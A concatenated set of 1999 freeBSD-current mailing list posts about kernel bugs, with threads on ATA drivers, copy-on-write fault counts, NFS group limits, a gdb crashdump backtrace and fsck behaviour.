I've had an ATAPI CDROM as master and an HP Colorado tape as slave set up on my system for quite some time now. I recently migrated to 4.0 and I'm using the new ATA drivers. Below is a snip from my kernel config: controller ata0 device atadisk0 device atapicd0 device atapist0 At boot time, the messages show that there are two devices on the channel, but only the CDROM is configured. Any ideas? ata0: Aladdin: two atapi devices on this channel, DMA disabled atapi: MODE_SENSE_BIG - UNIT ATTENTION skey=6 asc=29 ascq=00 error=00 acd0: DELTA OPC-K101/ST1 F/W by OIPD/VER-3.40 CDROM drive at ata0 as master acd0: read 687KB/s (6875KB/s), 128KB buffer, PIO acd0: supported read types: CD-R, CD-RW, CD-DA, packet acd0: Audio: play, 255 volume levels acd0: Mechanism: ejectable tray acd0: Medium: no/blank disc inside, unlocked == = Bryan D. Liesner LeezSoft Communications, Inc. = = A subsidiary of LeezSoft Inc. = = [EMAIL PROTECTED] Home of the Gipper= == To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: (vinum?) lockups in strategy routines?
On Fri, Oct 29, 1999 at 07:22:58AM -0700, Alfred Perlstein [EMAIL PROTECTED] wrote: On Fri, 29 Oct 1999, #Michael Class wrote: Hello, just another datapoint. I just installed two new IBM DPTA-343740 discs into my System at home. They are configured with striping in vinum. Within a day I got two solid lockups with the new ata-drivers. After that I switchied to the old wd-driver. Everythings works fine since then. Same here, I just compiled a new system with the old wd driver instead of ata and i'm happily crunching along. Sometime between now and october 6th something went wrong? I'm using one same IBM disk for our mp3 machine with new ata driver. The machine is an old PPro 150 with 440FX chipset and PIIX3 controller, runs 19991012 snapshot. No need for special setting for harddisk and mostly no problems, except some "disk contact lost" messages. Heh, I just considered to upgrade the OS a bit to get rid of these "disk contact lost" errors, but now I'm warned :) -- Vallo Kallaste [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
RE: copy-on-write optimized faults
vmstat -s reports these numbers on my computer: 3649151 copy-on-write faults 1 copy-on-write optimized faults On 29-Oct-99 Alan Cox wrote: I would appreciate it if people running -current would run a "vmstat -s" and tell me if they see a NON-ZERO value for copy-on-write optimized faults. About six months ago, I implemented a simpler and more general optimization at an earlier "fork in the road". (In effect, I avoid the creation of the redundant vm object that "copy-on-write optimized faults" applies to.) If I don't hear anything, I plan to remove the vestiges of this "optimization" from the vm fault handler. Alan To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: copy-on-write optimized faults
On Sat, Oct 30, 1999 at 12:47:40AM +0200, Bernd Walter wrote: 307625181 copy-on-write faults 26 copy-on-write optimized faults Thanks to Bernd and everyone else who has responded. Unless someone reports a case where the old "optimization" gets applied more often than 1 in ten million copy-on-write faults, I'm going to remove the old code in a few days. At this frequency, the cost of deciding whether or not to apply the optimization on every copy-on-write fault is greater than what is saved those 26 times it is applied. Alan To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: odd NFS behaviour with DU 4.F client
: : : :Thanks, : : : :Drew : : There should be a response to the rpc either way so my guess is that : it is a server-side bug. : :It turns out that the user was in 17 groups (DU supports up to 32). :After I removed him from 2 groups got his group count down to 15, :all was well. : :After I upgrade the NFS server to a more recent -current, I'll test :this again with a user in 17 groups. : :Thanks again, : :Drew Ahhh... I'm glad you found it. I was beginning to scratch my head. NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may be able to patch the kernel to up the number of groups by upping the value in that define and recompiling the kernel. I've never tried this myself but it should work. -Matt Matthew Dillon [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: odd NFS behaviour with DU 4.F client
Matthew Dillon writes: Ahhh... I'm glad you found it. I was beginning to scratch my head. NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may be able to patch the kernel to up the number of groups by upping the value in that define and recompiling the kernel. I've never tried this myself but it should work. Will a recent -current behave the same way, or will it return something to the DU box? Eg, will I need to worry about uppting NGROUPS_MAX when I upgrade the box to a more recent kernel? Thanks, Drew -- Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: [EMAIL PROTECTED] Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: odd NFS behaviour with DU 4.F client
:Matthew Dillon writes: : : Ahhh... I'm glad you found it. I was beginning to scratch my head. : : NGROUPS_MAX is set to 16 (/usr/src/sys/sys/syslimits.h). You may : be able to patch the kernel to up the number of groups by upping : the value in that define and recompiling the kernel. I've never : tried this myself but it should work. : :Will a recent -current behave the same way, or will it return :something to the DU box? : :Eg, will I need to worry about uppting NGROUPS_MAX when I upgrade the :box to a more recent kernel? : :Thanks, : :Drew :-- :Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin :Duke UniversityEmail: [EMAIL PROTECTED] :Department of Computer Science Phone: (919) 660-6590 I don't know, I don't have a non-FreeBSD box to test with. I would be interested in knowing the answer! -Matt Matthew Dillon [EMAIL PROTECTED] To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
crashdump in re lockups.
I wasn't able to get a crashdump last time i locked up, but it was
defiently in the same spot, now i have a crashdump.
The panic is because I attempted to view a datastructure I shouldn't
have after it locked up, the lockup point I assume is at frame
11, 12 or 13.
Netscape seems to be able to tickle this one pretty well.
Script started on Fri Oct 29 23:52:18 1999
/home/crash gdb -k /kernel vmcore.1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
SMP 2 cpus
IdlePTD 3579904
initial pcb at 2eb2e0
panicstr: from debugger
panic messages:
---
Fatal trap 12: page fault while in kernel mode
mp_lock = 0003; cpuid = 0; lapic.id = 0100
fault virtual address = 0x1d
fault code = supervisor read, page not present
instruction pointer = 0x8:0xc0188345
stack pointer = 0x10:0xd8cf2b48
frame pointer = 0x10:0xd8cf2b50
code segment= base 0x0, limit 0xf, type 0x1b
= DPL 0, pres 1, def32 1, gran 1
processor eflags= interrupt enabled, resume, IOPL = 0
current process = 560 (netscape)
interrupt mask = bio - SMP: XXX
panic: from debugger
mp_lock = 0003; cpuid = 0; lapic.id = 0100
panic: from debugger
mp_lock = 0004; cpuid = 0; lapic.id = 0100
boot() called on cpu#0
dumping to dev #da/0x20001, offset 24
dump 511 510 509 508 507 506 505 504 503 502 501 500 499 498 497 496 495 494 493 492
491 490 489 488 487 486 485 484 483 482 481 480 479 478 477 476 475 474 473 472 471
470 469 468 467 466 465 464 463 462 461 460 459 458 457 456 455 454 453 452 451 450
449 448 447 446 445 444 443 442 441 440 439 438 437 436 435 434 433 432 431 430 429
428 427 426 425 424 423 422 421 420 419 418 417 416 415 414 413 412 411 410 409 408
407 406 405 404 403 402 401 400 399 398 397 396 395 394 393 392 391 390 389 388 387
386 385 384 383 382 381 380 379 378 377 376 375 374 373 372 371 370 369 368 367 366
365 364 363 362 361 360 359 358 357 356 355 354 353 352 351 350 349 348 347 346 345
344 343 342 341 340 339 338 337 336 335 334 333 332 331 330 329 328 327 326 325 324
323 322 321 320 319 318 317 316 315 314 313 312 311 310 309 308 307 306 305 304 303
302 301 300 299 298 297 296 295 294 293 292 291 290 289 288 287 286 285 284 283 282
281 280 279 278 277 276 275 274 273 272 271 270 269 268 267 266 265 264 263 262 261
260 259 258 257 256 255 254 253 252 251 250 249 248 247 246 245 244 243 242 241 240
239 238 237 236 235 234 233 232 231 230 229 228 227 226 225 224 223 222 221 220 219
218 217 216 215 214 213 212 211 210 209 208 207 206 205 204 203 202 201 200 199 198
197 196 195 194 193 192 191 190 189 188 187 186 185 184 183 182 181 180 179 178 177
176 175 174 173 172 171 170 169 168 167 166 165 164 163 162 161 160 159 158 157 156
155 154 153 152 151 150 149 148 147 146 145 144 143 142 141 140 139 138 137 136 135
134 133 132 131 130 129 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114
113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90
89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61
60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32
31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
---
#0 boot (howto=260) at ../../kern/kern_shutdown.c:280
280 dumppcb.pcb_cr3 = rcr3();
(kgdb) bt
#0 boot (howto=260) at ../../kern/kern_shutdown.c:280
#1 0xc015ff01 in panic (fmt=0xc02942f4 "from debugger")
at ../../kern/kern_shutdown.c:530
#2 0xc01330a9 in db_panic () at ../../ddb/db_command.c:433
#3 0xc0132e6b in db_command (last_cmdp=0xc02c72dc, cmd_table=0xc02c713c,
aux_cmd_tablep=0xc02e73fc) at ../../ddb/db_command.c:333
#4 0xc0133042 in db_command_loop () at ../../ddb/db_command.c:455
#5 0xc013544f in db_trap (type=3, code=0) at ../../ddb/db_trap.c:71
#6 0xc025638e in kdb_trap (type=3, code=0, regs=0xd8cf2cac)
at ../../i386/i386/db_interface.c:157
#7 0xc026b7f7 in trap (frame={tf_fs = -1044316136, tf_es = 1355481104,
tf_ds = 713621520, tf_edi = -657511060, tf_esi = -1044161536,
tf_ebp = -657511160, tf_isp = -657511208, tf_ebx = -1044161536,
tf_edx = 760, tf_ecx = 1, tf_eax = 1, tf_trapno = 3, tf_err = 0,
tf_eip = -1071090469, tf_cs = 8, tf_eflags = 70, tf_esp = -1044161536,
tf_ss = 14}) at ../../i386/i386/trap.c:534
#8 0xc02874db in siointr1 (com=0xc1c35c00) at machine/cpufunc.h:64
#9 0xc0288d67 in siointr (arg=0xc1c35c00) at ../../isa/sio.c:1575
#10 0xc02573ad in Xfastintr3 ()
#11 0xc1d5f8f6 in ?? ()
#12 0xc1d5f6ce in ?? ()
#13 0xc1d5f4ca in ?? ()
#14
Re: -stable to -current
On Fri, 29 Oct 1999, Ben Rosengart wrote: On Fri, 29 Oct 1999, Doug White wrote: I still hate the way the signal change was handled. How would you have done it differently? As I understand it, the pain was more or less inevitable. Perhaps, but there must be a way to keep gcc from dying. I don't fully understand the mechanics involved so I will shut up until I teach myself about the syscall handling and concoct a better solution :) Doug White| FreeBSD: The Power to Serve [EMAIL PROTECTED] | www.FreeBSD.org To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: -stable to -current
On Fri, 29 Oct 1999, Doug White wrote: On Fri, 29 Oct 1999, Ben Rosengart wrote: On Fri, 29 Oct 1999, Doug White wrote: I still hate the way the signal change was handled. How would you have done it differently? As I understand it, the pain was more or less inevitable. Perhaps, but there must be a way to keep gcc from dying. I don't fully understand the mechanics involved so I will shut up until I teach myself about the syscall handling and concoct a better solution :) Since there were syscalls added, the newly compiled gcc calls system calls in the kernel that don't exist... _yet_ I like the idea of some sort of date/version checking, but it's not being checked just yet. -Alfred To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
4.0 packages INDEX file - questionable entry?
Hi, I'm not real sure were to send this, though I'm sure someone will tell me... but... In writing a few scripts which process the INDEX file, I've come across the following entry which doesn't look right... ja-|/usr/ports/japanese/exmh2|/usr/local|X11/TK based mail reader front end to M H for Japanese environments|/usr/ports/japanese/exmh2/pkg/DESCR|[EMAIL PROTECTED] g|japanese mail tk80|ja-tcl-8.0.5|ja-less-332 ja-.3.03 ja-tcl-8.0.5 ja-tk-8.0.5 metamail-2.7 xloadimage-4.1| ie: the 1st field appears to have been chopped off... Of course, I could be seeing things too... -John To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
ick! blockdev goop with root in -current?
WARNING: / was not properly dismounted start_init: trying /sbin/init swapon: adding /dev/ad0b as swap device Automatic reboot in progress... /dev/rwd0s4a: 2199 files, 38154 used, 209893 free (277 frags, 26202 blocks, 0.1% fragmentation) [HANGS...] ^Cfsck in free(): warning: page is already free. fsck in free(): warning: page is already free. fsck in free(): warning: chunk is already free. fsck in free(): warning: junk pointer, too low to make sense. fsck: panic: lost 2 buffers To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: ick! blockdev goop with root in -current?
This has nothing to do with blockdevs. It is an old standing bug in fsck which only happens when you interrupt it. "Uncle Milt" from vicor has a set of fsck patches in for review with Kirk where this should be fixed as well. In all likelyhood your fsck didn't hang but was working its way through things. Try ^T next time rather than ^C Poul-Henning In message [EMAIL PROTECTED], Matthew Jacob writes: WARNING: / was not properly dismounted start_init: trying /sbin/init swapon: adding /dev/ad0b as swap device Automatic reboot in progress... /dev/rwd0s4a: 2199 files, 38154 used, 209893 free (277 frags, 26202 blocks, 0.1% fragmentation) [HANGS...] ^Cfsck in free(): warning: page is already free. fsck in free(): warning: page is already free. fsck in free(): warning: chunk is already free. fsck in free(): warning: junk pointer, too low to make sense. fsck: panic: lost 2 buffers To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message -- Poul-Henning Kamp FreeBSD coreteam member [EMAIL PROTECTED] "Real hackers run -current on their laptop." FreeBSD -- It will take a long time before progress goes too far! To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: ick! blockdev goop with root in -current?
On Sat, 30 Oct 1999, Poul-Henning Kamp wrote: This has nothing to do with blockdevs. It is an old standing bug in fsck which only happens when you interrupt it. "Uncle Milt" from vicor has a set of fsck patches in for review with Kirk where this should be fixed as well. In all likelyhood your fsck didn't hang but was working its way through things. Try ^T next time rather than ^C Okay. Sorry for the false alarm... To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: copy-on-write optimized faults
On Fri, 29 Oct 1999, Alan Cox wrote: Thanks to Bernd and everyone else who has responded. Unless someone reports a case where the old "optimization" gets applied more often than 1 in ten million copy-on-write faults, I'm going to remove the old code in a few days. At this frequency, the cost of deciding whether or not to apply the optimization on every copy-on-write fault is greater than what is saved those 26 times it is applied. I get about 1.5PPM optimized COW faults: 7734278 copy-on-write faults 12 copy-on-write optimized faults -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / [EMAIL PROTECTED]`--' To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: K6-III wrtalloc + mtrr support ?
I disabled (or asked Peter to, actually) the K6-2+ MTRR driver a while back because with XFree86 3.9.16 (an alpha which uses MTRR support) it would cause memory corruption. It's very strange, and something I really haven't figured out... If you want to enable it, go ahead, but be very wary; if you do find out what's wrong, let me know. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / [EMAIL PROTECTED]`--' To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: crashdump in re lockups.
If you did a kldstat (in gdb. Use Greg Lehey's .gdbinit* from vinum) and added the pertinent KLD as a symbol file correctly (also reference the .gdbinit*), you would probably get more useful output. Try that and let me know. FWIW, I have my CFLAGS + -g in the modules just as I have my kernel -g and installed with install.debug. This helps if you plan on debugging a module when it crashes. -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / [EMAIL PROTECTED]`--' To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
Re: wl0 lockups and box crashes
great. then i have screwed up somehow. i do not think i changed anything from how it ran in 4.0-current, but i must have. but what? symptom is i can use it for a little while and then the system freezes. so the basic configuration is correct, i.e. i am driving the hardware. I do have to mention that I did not do a great deal of testing, I had the card in the box for about a day and in that time I did not notice anything weird (no messages on the console and no noticeble performance loss). So it could be that if I ran for a longer time, problems would trip up. i think i fixed it. i rebuilt all ports, including things like bind and gated. it's only been a few hours, but no crash. well, it lasted six hours. back to debugging. randy To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-current" in the body of the message
